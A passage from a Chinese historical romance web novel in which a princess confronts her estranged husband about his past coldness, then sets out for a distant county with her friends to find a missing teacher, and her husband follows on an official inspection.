被他从浴桶抱到床上换上里衣,萧婧华钻进被里,被子盖住下巴恹恹欲睡,嘟囔道:“走之前记得把灯熄了。” 陆埕一怔。 他直起身,注视已经闭上眼的少女。 他本就是个性子冷淡的人,初时不适应她的冷漠,但这些日子以来已经逐渐习惯。 只要她还是他的妻子,还在他身边,无论什么态度他都能接受。 他能感到她的态度渐有软化,或许她在犹豫,在挣扎是否要原谅他。 三月五月,或是三年五年,他有耐心等。 可她若即若离的态度又让他怀疑这一切是否只是他的错觉。 就好像,她只是一晌贪欢,仅是好奇何为夫妻敦伦,等她厌倦了他的身子,又会毫不犹豫抽身离去。 婧华。 陆埕伸手,在空中一点一点描绘她的眉眼。 我该拿你怎么办才好。 无人能回答他的疑问。 她睡着了。 陆埕看了她许久,落寞起身,熄了灯,轻轻阖上门。 …… 虽箬竹说开山之事一切顺利,但萧婧华还是决定亲自去看看。 神经气爽、精神饱满地起身时,陆埕已经上朝去了。 吃了早膳,萧婧华便动身了。 箬竹这几日日日都去,早已轻车熟路,看着她熟稔地吩咐管事,萧婧华满意点头。 开山事乱,见已走上正途,她便放了心,留下箬竹,带着箬兰和予安觅真回京。 马车停在聚香楼前,萧婧华念着带几样菜去和陆夫人搭伙,还未进门,便有人在后头叫她。 “婧华。” 回头一看,康郡王妃隔着窗与她打招呼。 “表嫂?” 萧婧华惊讶。 自从上次承运寺一别后,她许久未见康郡王妃了,即便是孩子满月也只是差人送去了礼。 一见他们二人,她便会回忆起康郡王妃的惨状,从而心生惧意。 如今碰上了,总不好掉头就走,萧婧华上前,“表嫂这是打哪儿去?” 康郡王妃道:“带孩子回娘家看看。” 萧婧华蹙眉,“他还这么小,能出门?” “没事,这孩子皮实。”康郡王妃笑了,“婧华可要来看看他?说起来,你应该算是他的救命恩人。” “我算是哪门子的救命恩人。” 萧婧华失笑。 犹豫片刻,终是不好拂了康郡王妃的面子,只好登上马车。 侍女退至角落,萧婧华在康郡王妃身旁落座。 她穿得轻薄,怀里抱着三个月大的婴孩,那孩子生得很是漂亮,又白又胖,脸蛋微鼓,见了她也不怕生,一对圆眼睛滴溜溜地转,朝她咧开嘴乐。 萧婧华也笑了,伸出食指轻轻在他脸上一戳,软软的,又嫩嫩的,像块豆腐。 小孩笑眼弯弯抓住她的手指,萧婧华怕伤了他,没敢动。 康郡王妃笑道:“看来我们阿圆很喜欢小姑姑啊。” 看见这么漂亮的孩子,萧婧华心里的惧怕散了不少,笑着逗他。 他也很给面子,一直乐呵呵的,瞧着就讨人喜欢。 康郡王妃调侃道:“这么喜欢,怎么自己不生一个?” 她看了眼萧婧华平坦的小腹,算着日子,“说来,你成婚也有些日子了,就没个喜信?” 萧婧华笑意猛地一僵。 她忽然想起一件特别重要的事。 之前和陆埕的几次,他们好像……都没避孕? 她这个月的月事来了么? 萧婧华疯狂在心里算着日子。 来了吗?好像没来。 真的没来?到底来没来? 越算心里越恐惧,她怕得手都在抖。 康郡王妃察觉到不对,眉头拧起,“婧华,怎么了?” “没、没什么。” 萧婧华努力压下内心的惊慌,魂不守舍道:“表嫂,我突然想起还有事,就不打扰了,下次再会。” 她动作轻柔地拨开阿圆的小手,慌里慌张下了马车。连饭也不想吃了,钻回马车后一个劲地催促予安,“走,赶紧回府。” 予安正要动,车门再次打开,萧婧华对觅真道:“你快回去,拿我的帖子请个御医来。” 觅真忙应,“好。” 箬兰担忧问:“郡主怎么了?” “没、没事。”萧婧华靠在软枕上,忽然问道:“箬兰,我这个月的月事来了吗?” 箬兰摇头,“没。” 萧婧华不死心地问:“真的没来?会不会是你记错了?” 她的信期箬兰一向记得清清楚楚,闻言摇头,“奴婢不会记错,的确没来。” 完了。 萧婧华双目无神地倒回去。 不会真的这么倒霉吧? 惴惴不安地回到陆府,觅真已经将太医请来了。 怀着忐忑的心,萧婧华伸手让他把脉,期间一直盯着老太医的脸,生怕他吐出“恭喜”两个字来。 良久,老太医松手,凝眉道:“郡主这是肝经血虚以至于心神不安的不寐之症,臣开副方子,郡主先吃几日。” 这就没了? 萧婧华犹疑着问:“能诊出喜脉吗?” 老太医微怔,私以为是郡主求子心切,笑道:“郡主和陆大人皆是身子康健之人,该来的总会来的。” 萧婧华彻底松了口气,面上露出笑,“劳烦太医开药。” 老太医写完方子,箬兰随他去拿药,萧婧华只觉压在心上的石头被挪开,顿时神清气爽。 这份好心情没维持太久,等箬兰把熬好的药端来时,她瞬间垮了脸。 萧婧华讨厌喝药,年幼时每次喝药都要父王哄,如今长大了也对汤药敬谢不敏。 药碗被箬兰放在桌上,苦涩味在鼻腔蔓延,萧婧华迫不得已离开贵妃榻回到床上。 足足做了三刻钟的心理建设,眼看着药都要凉了,她才慢吞吞地挪到桌旁。 箬兰贴心地准备了不少蜜饯,萧婧华捻起一颗放进嘴里先甜甜嘴,随后端起药碗,视死如归地抿了一小口。 苦涩味直冲天灵盖,萧婧华呕了一声,快速往嘴里又丢了一颗蜜饯。 苦与甜在口腔内交织,她脸皱成一团,眉眼间的精气神瞬间去了大半。 眼看着汤药几乎没去多少,萧婧华生无可恋。 含了颗蜜饯,她有气无力地端起药碗。 …… 陆埕一进院便闻到了浓烈的苦涩药味,眉头一瞬皱起。 进了屋,见萧婧华趴在榻边干呕,他快步上前轻抚她的背,“你在喝什么药?” 接过箬兰递来的白水,萧婧华一口气喝完,恹恹道:“治不眠之症的。” 箬兰拿过空杯,又递上蜜饯,她一连吃了四五颗,这才感觉好了不少。 松开陆埕,萧婧华歪在榻上养神,直到用晚膳,也没把一碗药带走的精气神养回来。 见她游魂一般进了屋,陆埕忙跟着进去。 萧婧华在榻上看书,他试探性挨着她坐下,不见她拒绝,手悄悄放在了她腰上。 呼吸逐渐急促,忽然“啪”的一声,萧婧华拍开他的手,冷淡道:“我不要。” 陆埕缓了缓,“为什么?” 她今日心情不佳,他想让她开心些。 难不成,她对他已经厌倦了? 一想到这个可能,陆埕的心猛地一跳,随后下坠。 萧婧华语气懒散,“我不要怀孕。” 陆埕顿了许久,缓声道:“不会怀孕。” 她抬眸,“什么意思?” 看着少女明亮的双眸,陆埕轻声道:“每次事前,我都吃了避子药。” 回门时,恭亲王让他答应,不能让萧婧华有顾虑。 陆埕明白他的意思。 孩子是期待,可在某种时候来说,也是牵绊和顾虑。 他和萧婧华此时并不适合孕育一个孩子,他也不能让她在犹豫和挣扎时有孕。 他期待着她原谅他,与他重修旧好,可他也希望,她做出这个决定的前提,是因为他本人,而不是孩子。 倘若她因为孩子暂且接纳他,在她心里,总会有个结横亘着,令她如鲠在喉。 到时,这段关系或许并不会长久。 陆埕不愿如此。 他想与萧婧华携手白头,想与她共度一生,想让她扫除所有芥蒂,心甘情愿与他做一对普通夫妻。 无论多久,他都可以等。 等到那时,他们或许可以生个孩子。 那是他们共同的期待,而非顾虑。 萧婧华怔忪看他,“你在吃避子药?” 每次欢好时出现的那股药味,是他的避子药? “是。” 陆埕问她,“现在可以吗?” 萧婧华看了他许久,似乎要看进他心里。 心中酸胀,说不出是什么情绪,让她想疯狂发泄。 最终,她点了头。 陆埕扬唇,倾身覆了上去。 情浓之时,萧婧华听见他问:“今晚,我可以留宿吗?” 所有情潮飞速退去,萧婧华瞬间清醒。 将人推开,她看着衣衫散乱,俊脸微红的陆埕,深吸口气,语气加重。 “我问最后一次。” “为什么一次次地丢下我。” 第97章 陆埕脸上热度瞬间冷却,长睫轻颤着抬起。 少女定定看着他,面色微红似芙蕖,眸中却含着冷光。 这个问题似乎成了她心中难以拔除的恶刺,一日不弄清楚,她便日日难安。 陆埕张唇,“我……” 萧婧华音色冷淡,“既然说不出口,那这辈子也不用再说了。” “不。” 陆埕握住她的手,艰难出声,“我说。” 对上萧婧华的眼睛,他一字字道:“是我太过自傲。” 三元及第,对一个读书人来说是何等荣誉,陆埕当年也曾骄傲,也曾意气风发,胸怀凌云壮志。可他亲眼目睹过饱受流言之苦的母亲是何等煎熬,当事情发生在他身上时,他的第一反应竟是与之对抗。 他选择的对抗方式,却是推开萧婧华。 一年、两年、三年,她始终不离不弃,他却习惯了践踏她的真心。 当时年少无知,如今失去过才知道,他的行为给她带去了多少伤害。 他无耻,卑劣,只敢欺负爱他的人。 “啪——” 萧婧华狠狠扇在陆埕脸上。 泪水似珠串滴落,她浑身都在颤抖。 “婧华。”陆埕抓住她的手,慌乱道:“我错了,我真的知道错了,我不会再有当年那些幼稚的想法和行为,我发誓那是最后一次。” 他不会再怀疑自己,不会再用伤害她的方式一遍遍证明自己。 萧婧华用力抽出手,她哭着喊:“出去,我不想看见你,滚啊!” 陆埕手一僵。 她趁此机会收回手,推开他跑到床上,用被子将自己牢牢裹住。 陆埕在原地僵了许久。 她压抑的哭声似一把刀,一刀刀割在他心上,令他心如刀绞。 他白着脸道:“婧华……” “滚出去——” 陆埕僵硬着身子向外走。 阖上房门,他靠在门上,无力闭眼。 …… 萧婧华缩在被子里哭。 在一段感情中付出太多,当对方发生改变时,她下意识审视自己可是做错了什么。 她怀疑过自己,是不是她娇气任性,太缠人了,陆埕才会对她那般冷漠。她想过变得和别的姑娘一样柔顺体贴,温柔小意。 可尝试后才发现,她做不到。 倘若她变了,那她还是萧婧华吗? 可原来,这不是她的错。 她只是爱一个人而已,她有什么错? 错的是陆埕。 是他的幼稚造成了两人如今的局面。 泪水淌入鬓间,萧婧华缓缓抱住膝盖。 若是不曾遇到温婵姿丹晴几人,不曾知晓养护院那些孩子的存在,不知陆夫人和陆埕年幼时过的是什么日子,她定会再狠狠给陆埕一巴掌,留下和离书搬回王府。 她堂堂琅华郡主,凭什么要因陆埕的过错受他那么多委屈。 可她知道。 她知道,自尊对他们来说有多珍贵。 她可以指责陆埕的行为,却不能责怪他维护自己的自尊心。 萧婧华蜷缩起身子,低低啜泣。 母妃,我该怎么做。 原谅他吗? 可轻易原谅他,是对从前的她的背叛。 烛火摇曳,月色皎洁,一门之隔的两人在红尘中挣扎陷落。 …… 近乎一夜未眠,直到天快亮时萧婧华才迷迷糊糊睡了过去。 醒来时已是下午,陆埕早已不在府中。 萧婧华坐在床上发呆,听见动静的箬兰进来,瞧见她红肿的眼吓了一跳,“郡主和陆大人怎么了?他在您门前站了整整一夜,您又成了这副模样。” 萧婧华轻声道:“是吗?” 贝齿紧紧咬住下唇。 “是啊。奴婢过来时天还黑着,见到人影时险些没吓死。” 箬兰忙让人去取冰来,小心翼翼地替萧婧华敷眼。 “对了郡主,您让查的事已经有眉目了。” 萧婧华勉强打起精神,“什么?” “那位纪淑然纪夫人祖籍营州庆县,终身未嫁,家中唯有母亲需要赡养。至于最后一次现身……庆县偏僻,离京远,倒是暂时没打探清楚。” “派人去……”话未说完,萧婧华倏尔僵住。 庆县偏僻…… 庆县虽偏僻…… 她猛地抓住箬兰的手,“我想起来了!” 箬兰愣愣的,“郡主想起什么了?” 当时承运寺废弃佛寺里她曾听见的对话。 庆县,庆县。 原来是庆县。 萧婧华按捺住内心的激动,缓缓舒了口气。 良久,她松开箬兰的手,“我要去庆县。” 此事堵在她心里那么久,无论有没有收获,她都要去一趟。此外,纪夫人的母亲在庆县,她或许会回到故乡,回到母亲身边,没准能找到她,了解山微一桩心事。 若能将她聘入书院,那就更好了。 还有…… 萧婧华看向窗外。 她需要和陆埕分开一段时间,冷静下来好好想想这段婚姻究竟该怎么走下去。 箬兰惊了,结结巴巴道:“郡、郡主要去庆县?” 萧婧华点头。 箬兰犹豫,“可庆县那么远……” “我意已决,去收拾吧。” 她态度坚定,箬兰只好点头,“好。” 如今的情形,萧婧华不能说走就走,但好在箬竹能力出众,开山之事完全能胜任。 她去见了工部三人,给了期限,在她回来之后必须把书院的图纸呈上来。 三人纷纷应承。 随后萧婧华又去了蒲草居。 温婵姿打着算盘问:“好端端的去庆县做什么?” 萧婧华道:“去找个人。” 云慕筱姐妹俩也在,闻声意会,“是纪夫人有消息了?” 谢瑛嘟囔,“那也不至于你亲自去吧?” 摇摇头,萧婧华道:“她不一定在庆县,只是想顺道散心。” 她握住两人的手,笑道:“放心,不会耽搁太久。” “只是铺子里的事要劳姿娘费心了。” 温婵姿抬头,毫不掩饰地对她翻了个白眼,“我什么时候没费心?” 谢瑛清了清嗓子,云慕筱低下头,萧婧华露出一抹无害笑意,“能者多劳嘛。” 温婵姿不屑轻嗤。 萧婧华亲自给她斟茶。 顺手接了喝了,温婵姿摆手,“行了,去吧,铺子里凡事有我呢。” 话落,她低头继续打算盘。 萧婧华扬唇,笑意温软,“好。” …… 陆埕下值归来后发现箬兰在收拾东西。 他慌张进屋,没看见萧婧华人影。 那一瞬间,巨大的恐慌将他淹没。 扶着额头稳了稳神,陆埕问:“婧华呢?你收拾东西要去哪儿?” 箬兰没给他好脸色。 这丫头最会看菜下碟,萧婧华态度软和,她一口一个陆大人,当下两人吵了嘴,她立马翻脸不认人。 陆埕并不在意她的态度,执拗地看着她。 箬兰无法,没好气道:“郡主去前院和夫人说话了。” 陆埕立即转身,没走出两步,便见萧婧华从院外进来。 他急忙问:“你要去哪儿?” 萧婧华跃过他。 陆埕抓住她双肩,俯身看她,“婧华,你心中有气,只管对着我发泄,可别这样一声不吭自己忍着。” 萧婧华抬眸,看着他一字字道:“我要去庆县,纪夫人的故乡。” 说完,她拉下陆埕的手,头也不回进屋,顺手把门关上。 陆埕眉心微动。 庆县?营州? 隔日,萧婧华回了王府。 要出远门,总得知会父王一声。 恭亲王听完第一反应是拒绝,“不成,庆县那么远,倘若你出了事,父王都不能及时赶到。” 萧婧华不依,“父王怎么咒我?你当我是金疙瘩不成,那些匪啊盗啊的就知道盯着我。” 恭亲王连呸了三声,“不准胡说。你在父王心里可不就是金疙瘩?” 萧婧华笑着靠上恭亲王的肩,“父王,纪夫人对我来说很重要,我必须去,否则我会抱憾终身的。” “年纪轻轻的,怎么张口闭口就是终身。”恭亲王皱眉不满。 “好好好,我不说。”萧婧华道:“你若是担心,多给我派些护卫不就行了?” 恭亲王犹豫。 萧婧华抱着他的手臂撒娇,“好父王,你就让我去嘛,父王最好了,好不好嘛。” 恭亲王无奈投降,“去也行,但你得答应父王,必须完好无损地回来,连一根头发丝都不能有损伤。” 萧婧华笑着保证,“好。” 陪恭亲王用了午膳,萧婧华随后去了东宫。 得知她要去庆县,萧长瑾问:“一定要去?” 萧婧华轻声,“哥哥,不把这件事弄清楚,我寝食难安。” 她抬头,可怜巴巴道:“你不知道,我这阵子夜夜都睡不好,都憔悴了。” 萧长瑾摸着她头,“婧华光彩照人,哪里憔悴了?” 但他也知,这是萧婧华心结所在,若让她郁结在心,早晚闷出病来。 “想去就去吧。” 萧长瑾道:“有件事忘与你说。” 萧婧华还没来得及高兴,闻言疑声,“什么?” “宣远伯幼子昨日出京,去向不明。孤一直派人跟着,若有需要,只管让人联系。” 萧婧华重重点头,眼睛发亮,“多谢哥哥。” “和孤谢什么?”萧长瑾笑着点她眉心,“孤再给你派二十个人,以备不时之需。” 萧婧华弯着眼笑,“好。” 和萧长瑾说了会儿话,又和他一道去看望过崇宁帝,萧婧华这才出宫。 送她离开后,萧长瑾回到东宫换了身衣裳,准备趁天尚未黑去见云慕筱一面。 刚拎起食盒,外边有人禀报。 “殿下,陆大人求见。” 萧长瑾眉尾一挑。 这才刚送走一个,又来了一个。 “让他进来。” 把食盒交给钟文,萧长瑾道:“去敬国公府,亲自交给三姑娘。” 钟文:“是。” …… 萧婧华于两日后出发。 她没惊动人,直接带着箬兰和觅真出府。 箬竹站在院门前送她,“郡主。” 她上前,将手里的东西交到萧婧华手里。 “这是……” 萧婧华低头,目光怔住。 木簪落在她掌心,大概是被人保养得极好,表面光滑富有光泽,顶端雕花似褐色蝶翼。 箬竹道:“虽不知郡主和陆大人之间发生了什么,但奴婢希望您此行能找到心中答案。” 她抬起头,双眼微弯,笑道:“跟着心走,随心而行。” 萧婧华手掌收紧,握住木簪,低声道:“好。” “箬竹,多谢你。”箬竹笑着,“京中一切有奴婢,郡主只管去。” 萧婧华点头,抬手抱了抱箬竹,笑道:“我走了。” 转身时,余光瞥向书房的方向。 这两日陆埕都歇在官署,书房无人。 她垂下眼睫,淡淡一笑,辞别箬竹。 府门前早已停着两辆马车,几十名护卫将马车围在中央,陆夫人站在石阶上,正吩咐人把东西往马车上抬。 萧婧华面含讶色,“娘,不是说不用送了吗?” 陆夫人握住她手,轻轻拍了拍,“这一走少说也得两三个月,我怎么也得送你一程。我和殷姑做了些好存放的吃食,你带在路上吃。” 萧婧华摩挲她略显粗糙的手,“您怎么又亲自动手?” “嗐,都做惯了,再说,别人做的哪有我做的味正?” 萧婧华忍俊不禁。 陆夫人也笑,笑完催促道:“好了,快上去吧,别耽搁了。” 萧婧华点头,钻进马车朝陆夫人挥手。 陆夫人道:“去吧。” 直到陆夫人化为黑点,萧婧华才将车窗阖上。 到了城门口,予安蓦地将马勒停,“郡主,是太子和王爷。” 萧婧华意外,“不是都说了不用送么?” 怎么一个两个的都来了。 话虽这么说,但她还是高兴的,跳下马车后直奔恭亲王,欢欢喜喜道:“父王,太子哥哥,你们怎么来了?” 萧长瑾笑,“当然是来送你。” 恭亲王一脸犹豫,沉声道:“要不还是不去了,寻个人而已,哪用得着你亲自去。” 萧婧华板着脸,“父王,我们不是说好了?你怎么说话不算话。” 一见她这样,恭亲王当即败下阵来,“好好好,去去去,想去就去。” 他转头吩咐拨给萧婧华的护卫统领赵田,“护好郡主。” 赵田恭声,“是。” 趁着恭亲王的注意不在此处,萧长瑾替她正了正发间金钗,低声道:“想查什么,只管让他们去,不可以身犯险。” 萧婧华笑,“我才不会想不通把自己置身于危险中呢。” 萧长瑾笑了,“那便好。待会儿在城外……” 顿了顿,他又不说了。 “哥哥想说什么?” “算了。”萧长瑾摇头,摸了下她发髻,“待会儿你会知道的。” 萧婧华拧眉。 怎么神神秘秘的。 恭亲王转过身来和萧婧华说话,眼见时候不早了,他依依不舍道:“好了,去吧。别耽搁太久,找到人就回来。” 萧婧华点头,“我知道的。” 她上了马车,挥手告别两人。 “父王,太子哥哥,你们快回去吧,我很快就回来。” 守门的侍卫放行,二人的身影逐渐消失,萧婧华趴在窗上往后看。 除了太子哥哥和父王,再没有了其他人。 她说不出心里是何感受,失落伤心,好像都有。 萧婧华关了窗,将一直被她藏在袖中的木簪取出来,垂首看了半晌,闷闷把它丢在一旁。 箬兰想哄她开心,“郡主,奴婢念书给您听。” “不想听。” 萧婧华恹恹道:“我还是睡……” 她皱起眉,问箬兰,“有人在叫我?” 箬兰侧耳聆听,“好像是。” 开了窗,只见后边一辆马车飞驰奔来,谢瑛穿过车窗朝她挥手。 “阿瑛!” 萧婧华眉间恹色一扫而空,惊喜道:“你怎么来了。” 谢春驾着马车靠近,隔着一队护卫,谢瑛道:“我和筱筱与你一块去庆县。” 往后递了个眼神,她无声道:“出事了。” 在萧婧华开口询问之前,谢瑛飞快道:“落脚后再和你说。” 越过她,萧婧华瞧见靠着软枕睡着的云慕筱,长睫微湿,鬓间也带着湿痕,明显哭过。 虽不知发生了何时,但谢瑛和云慕筱能与她一道,萧婧华还是欣喜的,压下担忧道:“好。” 护卫散开,让谢春驾马走在中间。 队伍行了一段,觅真忽然道:“郡主,是陆大人。” 陆埕? 萧婧华一怔。 亭外杨柳拂风,树下立着两人两马。 为首之人素衫随风轻扬,素簪束发,墨发似锻,在阳光下泛着微光。 他牵着马,静静注视她的方向。 萧婧华未叫停,予安驾着马车向他走近。 她靠着窗,与他目光交汇,谁也不曾挪开视线,就这么安静地来到他身旁。 马车停下了。 陆埕开口,“我也去营州。” 萧婧华撩起眼皮,语意轻嘲,“如此玩忽职守,你的官职不要了?” 陆埕摇头,“陛下派我巡视营州。” 他抬头,直视萧婧华,“你和官职,我都要。” 第98章 路过驿站时,朝廷派下来的衙役迎上陆埕。 萧婧华看着跟在陆埕身后那些人,默默想着,没骗她,还真是去巡视营州的。 她阖了窗,也没心思睡了,揉着隐隐作痛的额头,对箬兰道:“念书吧。” 箬兰拿起游记,脆生生读着。 听着她悦耳的嗓音,萧婧华逐渐沉浸。 遇见陆埕的所有复杂情绪慢慢退了下去。 可她无法不承认,那一瞬间,她心里是有欣喜的。 晃了晃脑袋,萧婧华强迫自己不再想他,认真听箬兰念着营州风景名胜。 傍晚时分,一行人在县城客栈落脚。 箬兰去和店家交涉,离开前犹疑着问萧婧华,“郡主,要把陆大人他们算上吗?” 陆埕能追上来,她对他的好感又回来了那么一点。 萧婧华道:“官员巡视地方,朝廷又不是不给银子,算上他干嘛?” “哦哦。”箬兰了然,转身进了客栈。 陆埕在一旁把两人的话听了全程,对孟年道:“先带人进去吧。” 孟年对他比了个手势。 谢瑛扶着云慕筱下了马车。 她精神不济,眉眼恹恹打招呼,“婧华。” 随后便靠在谢瑛身上歇息。 萧婧华蹙眉看着她,对上谢瑛无奈的神色,心里越发好奇究竟发生了何事。 恰有人推着板车路过,上头不知装了什么,一股浓烈的腐臭味蔓延。 陆埕挡在萧婧华身旁,挡住她的视线。 萧婧华瞧他一眼,没拒绝。 她大概猜到了那是何物,如今正值饭点,她可不想待会儿吃不下饭。 箬兰噔噔跑到门口,“妥了,郡主快进来吧。” 萧婧华提步进了客栈。 因着自家郡主挑剔,箬兰选的是县城最好的客栈,干净敞亮,看着就舒适,上菜的速度也是一等一的快。 云慕筱草草吃了两口便上楼歇息去了。 萧婧华看着她的背影消失在楼梯口,问谢瑛,“发生了什么?” 谢瑛举着鸡腿咬了一口,咽下后无奈耸肩,“昨夜钟统领替太子给筱筱送糕点,被我娘撞见了。” “然后呢?” 何至于让云慕筱跟失了魂似的。 谢瑛看了陆埕一眼,凑近萧婧华小声道:“我娘逼着筱筱隔日去问太子何时给她一个名分。筱筱不愿,两人吵了起来。” 顿了顿,谢瑛语气漠然,“她气在头上,给了筱筱一巴掌,义正辞严说她不配做她的女儿。” “筱筱伤心极了,连夜收拾了东西。” 萧婧华气愤又不解,“国公夫人究竟怎么想的。” 谢瑛讥讽一笑,“她啊,半辈子都在和表姑比,妙云表妹嫁了长公主的侄子,她就要让筱筱当太子妃,在身份上压她一头。” “筱筱拧巴得很,分明是中意太子的,可娘这么一逼,她又不愿了。她不喜听娘的话,却又孝顺,什么都不说,就喜欢闷在心里。要我说啊,这次闹出来也不错,省的她闷来闷去,没病都把自己闷出病来。” 或许,这就是云慕筱心结所在了。 “算了,不说她们。” 谢瑛狠狠咬了口鸡腿,“这次出来,我就想让她散散心,那些糟心的事等回京再说吧。” 萧婧华抿唇笑,“好。” 一回神,才发现碗里不知何时被装的满满当当的,陆埕捏着筷子,正给她挑鱼刺。 萧婧华垂首夹了颗鱼丸放进嘴里。 她吃的不多,习惯细嚼慢咽,速度有些慢。等谢瑛吃的差不多了,萧婧华碗里还剩了一小半。 她放下碗,“我吃不下了。” 不去看陆埕,萧婧华转头招呼谢瑛,“咱们上楼吧。” 谢瑛:“好。” 挽了谢瑛上楼,走到半道,萧婧华鬼使神差回头。 陆埕仍坐在席间,拿过她的碗,一点点夹起里边的剩菜吃着。 他不说浪费的话,只默默把她吃不了的吃完。 “婧华,怎么不走了?”谢瑛问。 “没事,走吧。” 咬了咬唇,萧婧华扭头上楼,眼不见为净。 云慕筱的屋子在萧婧华和谢瑛中间,二人进屋时,她正怔怔望着窗外发呆。 见了人,她忙起身,“你们怎么来了。” 谢瑛道:“来陪你啊。” 萧婧华笑,“一个人在屋里也无趣,来找你说说话。” 云慕筱浅浅牵唇。 有谢瑛的场子很难不热闹,加之萧婧华有意带动氛围,总算是让云慕筱脸上露出了笑。 说起边关轶事,萧婧华惊讶,“当真有拿着刀当街追着丈夫砍的妻子?” “有啊。” 谢瑛干脆道:“那姑娘和她夫家算是门当户对,偏生她那婆母规矩多,整日磋磨她,甚至以她犯了七出之罪为由,要给她儿子纳妾。” “那姑娘硬气,直接拿着刀架在她丈夫脖子上,说是纳一个她砍一刀。”谢瑛幸灾乐祸地笑,“她婆母当时就变了脸,要把她休出家。” 云慕筱唇畔含笑,“她当即留下和离书收拾嫁妆搬回娘家,还说了不少……” 说到这里,她顿住了,面色有些不自然。 谢瑛自然而然接话,“说她婆母见不得儿子儿媳和和美美,让想嫁他的姑娘好生掂量掂量,哦,对了。” 她哈哈大笑,“她还说她丈夫不能生,不然怎么她家人丁兴旺,兄弟姐妹足足有六个,嫁进他家门就怀不上?” 云慕筱补充,“她丈夫是独子。” 萧婧华听得眼睛亮晶晶的,“后来呢?” 谢瑛不屑道:“那老婆子看上的看不上他家,想嫁进门的她又看不上,思来想去,最后硬着头皮想把那姑娘迎回府。谁知道那姑娘已经二嫁,肚子都大了。” 萧婧华噗嗤一笑,“那她前夫不能生一事岂不是被坐实了?” “是啊。”谢瑛道:“他们一家的名声算是坏了,不过也是活该,谁让他们心肠这么黑。” 谈至半夜,萧婧华索性让箬兰把被子抱来,今夜就在云慕筱屋里睡。 谢瑛熬不住,说着说着就没了声儿,转头一看,闭眼睡得正香。 萧婧华本就失眠,如今换了个环境更是难以入眠。 躺在松软床榻间,她往右转,借着月光看了眼闭着眼的云慕筱,小声道:“筱筱,你睡了吗?” 云慕筱睁眼,偏头面向她,同样小声道:“没,怎么了?” 萧婧华向她挪动,轻声问:“对太子哥哥,你是怎么想的?” 云慕筱瞳孔一颤,清丽小脸上满是震惊,仓皇道:“你、你知道了?” “很久以前就知道了。”萧婧华笑了,“太子哥哥怕我把你吓跑了,一直让我瞒着。” 云慕筱咬住唇。 “若你对他无意,我一个字都不会开口,可你分明是有意的,我便忍不住想为他说句好话。” 从被中探出手,萧婧华握住她的,认真道:“他是个好兄长,好储君,虽不知未来会不会是个好丈夫,但他这人很护短,被他放在心里的人,无论如何他都会护着。” “我给你说个秘密。” 萧婧华小声道:“我有个堂兄,名唤萧长昀,你可知道?” “谋逆的端亲王的世子?” 萧婧华小幅度点头,“昀哥是我们这一辈最大的孩子,因他不喜小孩,又少年老成,总是板着一张脸,乐宁端和每次见了他就躲。偏生我和太子哥哥粘他,昀哥对我们也十分亲近。” 她目光悠远,陷入回忆,“兵变时我正在东宫,躲在太子哥哥书房里睡着了,迷迷糊糊听见他说要把昀哥从王府里抢出来。可没等他行动,昀哥已经葬身火海。” 说起往事,萧婧华难得回忆起这个被她遗忘多年的堂兄。 太子哥哥和昀哥自小就忙,忙着习君子六艺,史学传奇,但他们会特意抽时间陪她。 太子哥哥陪她踢蹴鞠,昀哥坐在树上,眉目含着浅笑,手里拿着…… 拿着什么? 萧婧华记不清了。 云慕筱怔住,“……他胆子这么大?” “是啊。” 萧婧华回神,勉强压下心底骤然翻涌而出的哀绪,“我不能保证他会待你如初,但他一定会一直护着你。” “筱筱。”她轻声问:“和他在一处时,你开心吗?” 云慕筱缄默许久,默默点了下头。 “那不就行了?” 萧婧华笑了,“我现在算是明白了,这世间万物,都不及自己开心最重要。” 云慕筱也笑,眼里似有碎光荡漾,“那你和陆大人呢?” 萧婧华嘴角笑意一滞。 或许人在夜半时分总会有几分感性,她启唇,将她和陆埕这十多年来的纠缠一五一十道出。 “你现在是如何想的?”云慕筱轻轻捏了捏她的手,“与他和好?” “我不知道。”萧婧华摇头。 她茫然,“他为救我受伤,为了不让我远嫁北夷,在擂台上险些去了半条命。他对我笑,对我温柔体贴,事事关怀,我仍会触动。可内心深处又会生恨,恨他那般无情,恨他在失去过后才会珍惜。” “知晓缘由后,那恨去了一半,可我一时半会儿做不到毫不介怀。” 云慕筱拨开她额上碎发,柔声道:“被心爱之人伤害过,哪能这么快心无芥蒂。” “就像你问我一般,你和他在一起开心吗?” 萧婧华轻轻点头。 不仅开心,看着他痛苦,她心中甚至有股隐秘的,带着报复的快意。 她不是圣人,真心被践踏后做不到心如止水,云淡风轻地来一句我并不恨你。 相反,她骄纵任性,报复心强,她要亲眼看着他深陷痛苦的沼泽中无法自拔,才能以解心头之恨。 可那之后呢? 心中又生起无边空虚,让她迷茫无措。 “算了。” 萧婧华叹气,“不想了,还是睡吧。” 她偏头看了眼身边睡得正香的谢瑛,无不羡慕,“若是像阿瑛这般就好了,什么情情爱爱的,根本沾不了她身。” 云慕筱忍不住笑,怕吵醒谢瑛,她捂住嘴,用气音道:“快睡吧,明日还得赶路。” 萧婧华点头,缓缓闭上眼。 翌日晨起,谢瑛根本不知这两人背着她互诉了一整晚的衷肠,精神奕奕起身下楼舞枪。 萧婧华和云慕筱眼下青黑,萎靡不振地吃了早膳,和她形成鲜明对比。陆埕走来,低声问:“昨夜没睡好?” 萧婧华恹恹看他。 这不明摆着? “太医开的药呢?” 萧婧华有气无力,“赶路呢,谁有心思喝药。” 而且在客栈里煎药,她总觉得不安全,若是一个不慎被人下了什么东西,把她吃坏了怎么办? “行了,别唠叨了,我上车去补。” 萧婧华语气不耐推开陆埕,转头钻进马车。 陆埕在原地静立片刻,蓦地回头问孟年,“我很唠叨?” 孟年咧嘴笑了笑,毫不犹豫点头。 陆埕:“……” 他冷声,“还不快去收拾东西?” 孟年撒丫子跑了。 走了半个多月,总算到了营州地界。 庆县和营州府城间隔了好几个县,且因位置偏僻,算不上繁华,城墙虽高,但颇为老旧,倒是有些古朴。 一行人在城外歇脚。 萧婧华开了窗,瞧见路边简陋茶棚,瞬间打消了下去的念头。 茶棚内响起一道清脆稚嫩的嗓音。 “是漂亮姐姐!” 萧婧华循声望去。 那是个梳着双髻的小姑娘,髻上插着两朵珠花,一身水红色襦裙,小脸蛋精致又可爱,眼睛明亮似葡萄,与简陋茶棚格格不入。 萧婧华皱眉思索,脑中闪过一道身影,迟疑道:“你是……糖葫芦?” 小姑娘蹦蹦跳跳来到车下,小手兴奋地挥啊挥,“姐姐还记得我,是呀,我就是糖糖。” 萧婧华露出笑,“原来你叫糖糖?所以才那么爱吃糖?” “姐姐说错啦。” 